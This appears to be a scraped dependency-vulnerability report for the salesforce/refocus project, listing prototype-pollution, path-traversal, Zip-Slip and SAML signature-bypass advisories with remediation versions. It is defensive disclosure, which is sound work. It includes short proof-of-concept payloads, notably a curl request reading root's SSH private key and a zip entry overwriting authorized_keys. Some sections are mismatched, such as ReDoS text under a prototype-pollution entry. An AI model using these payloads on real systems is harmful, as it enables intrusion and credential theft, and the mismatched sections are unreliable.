A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade adm-zip to version 0.5.2 or higher.

References

high severity

Improper Verification of Cryptographic Signature

  • Vulnerable module: passport-saml
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0
    Remediation: Upgrade to passport-saml@3.2.2.

Overview

passport-saml is an authentication provider for Passport, the Node.js authentication library.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature by allowing a remote attacker to bypass SAML authentication on a website using passport-saml.

Note A successful attack requires that the attacker is in possession of an arbitrary IDP-signed XML element. Depending on the IDP used, fully unauthenticated attacks (e.g, without access to a valid user) might also be feasible if the generation of a signed message can be triggered.

Workaround

Users who are unable to upgrade to the fixed version should disable SAML authentication.

Remediation

Upgrade passport-saml to version 3.2.2 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: deep-extend
  • Introduced through: command-line-args@2.1.6

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af command-line-args@2.1.6 command-line-usage@2.0.5 column-layout@2.1.4 deep-extend@0.4.2

Overview

deep-extend is a library for Recursive object extending.

Affected versions of this package are vulnerable to Prototype Pollution. Utilities function in all the listed modules can be tricked into modifying the prototype of "Object" when the attacker control part of the structure passed to these function. This can let an attacker add or modify existing property that will exist on all object.

PoC by HoLyVieR

var merge = require('deep-extend');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade deep-extend to version 0.5.1 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: extend
  • Introduced through: uglifyify@3.0.4, kue@0.11.6 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af uglifyify@3.0.4 extend@1.3.0
    Remediation: Upgrade to uglifyify@5.0.2.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af kue@0.11.6 node-redis-warlock@0.2.0 node-redis-scripty@0.0.5 extend@1.3.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 superagent@1.8.5 extend@3.0.0
    Remediation: Upgrade to swagger-tools@0.10.2.

Overview

extend is a port of the classic extend() method from jQuery.

Affected versions of this package are vulnerable to Prototype Pollution. Utilities function can be tricked into modifying the prototype of "Object" when the attacker control part of the structure passed to these function. This can let an attacker add or modify existing property that will exist on all object.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade extend to version 2.0.2, 3.0.2 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: just-safe-set
  • Introduced through: @salesforce/refocus-collector@1.3.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af @salesforce/refocus-collector@1.3.0 just-safe-set@2.2.3

Overview

just-safe-set is a part of a library of zero-dependency npm modules that do just do one thing.

Affected versions of this package are vulnerable to Prototype Pollution via type confusion. If the property key is [__proto__] then the allocated key will also be __proto__.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade just-safe-set to version 4.0.2 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: express-ipfilter@0.0.24, jscs@3.0.7 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af express-ipfilter@0.0.24 lodash@3.10.1
    Remediation: Upgrade to express-ipfilter@1.0.1.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 xmlbuilder@3.1.0 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 jscs-jsdoc@2.0.0 jsdoctypeparser@1.2.0 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 lodash@1.0.2
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af nock@3.6.0 lodash@2.4.1
    Remediation: Upgrade to nock@8.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xmlbuilder@2.5.2 lodash@3.2.0

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The function defaultsDeep could be tricked into adding or modifying properties of Object.prototype using a constructor payload.

PoC by Snyk

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
  }

check();

For more information, check out our blog post

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.12 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: express-ipfilter@0.0.24, jscs@3.0.7 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af express-ipfilter@0.0.24 lodash@3.10.1
    Remediation: Upgrade to express-ipfilter@1.0.1.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 xmlbuilder@3.1.0 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 jscs-jsdoc@2.0.0 jsdoctypeparser@1.2.0 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 lodash@1.0.2
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af nock@3.6.0 lodash@2.4.1
    Remediation: Upgrade to nock@8.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xmlbuilder@2.5.2 lodash@3.2.0

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution via the set and setwith functions due to improper user input sanitization.

PoC

lod = require('lodash')
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.17 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: express-ipfilter@0.0.24, jscs@3.0.7 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af express-ipfilter@0.0.24 lodash@3.10.1
    Remediation: Upgrade to express-ipfilter@1.0.1.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 xmlbuilder@3.1.0 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 jscs-jsdoc@2.0.0 jsdoctypeparser@1.2.0 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 lodash@1.0.2
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af nock@3.6.0 lodash@2.4.1
    Remediation: Upgrade to nock@8.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xmlbuilder@2.5.2 lodash@3.2.0

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The functions merge, mergeWith, and defaultsDeep could be tricked into adding or modifying properties of Object.prototype. This is due to an incomplete fix to CVE-2018-3721.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.11 or higher.

References

high severity

Improper Verification of Cryptographic Signature

  • Vulnerable module: node-forge
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-encryption@0.7.4 node-forge@0.2.24
    Remediation: Upgrade to passport-saml@3.2.1.

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to RSA's PKCS#1 v1.5 signature verification code which does not check for tailing garbage bytes after decoding a DigestInfo ASN.1 structure. This can allow padding bytes to be removed and garbage data added to forge a signature when a low public exponent is being used.

Remediation

Upgrade node-forge to version 1.3.0 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: node-forge
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-encryption@0.7.4 node-forge@0.2.24
    Remediation: Upgrade to passport-saml@1.3.2.

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Prototype Pollution via the util.setPath function.

Note: version 0.10.0 is a breaking change removing the vulnerable functions.

POC:

const nodeforge = require('node-forge');
var obj = {};
nodeforge.util.setPath(obj, ['__proto__', 'polluted'], true);
console.log(polluted);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

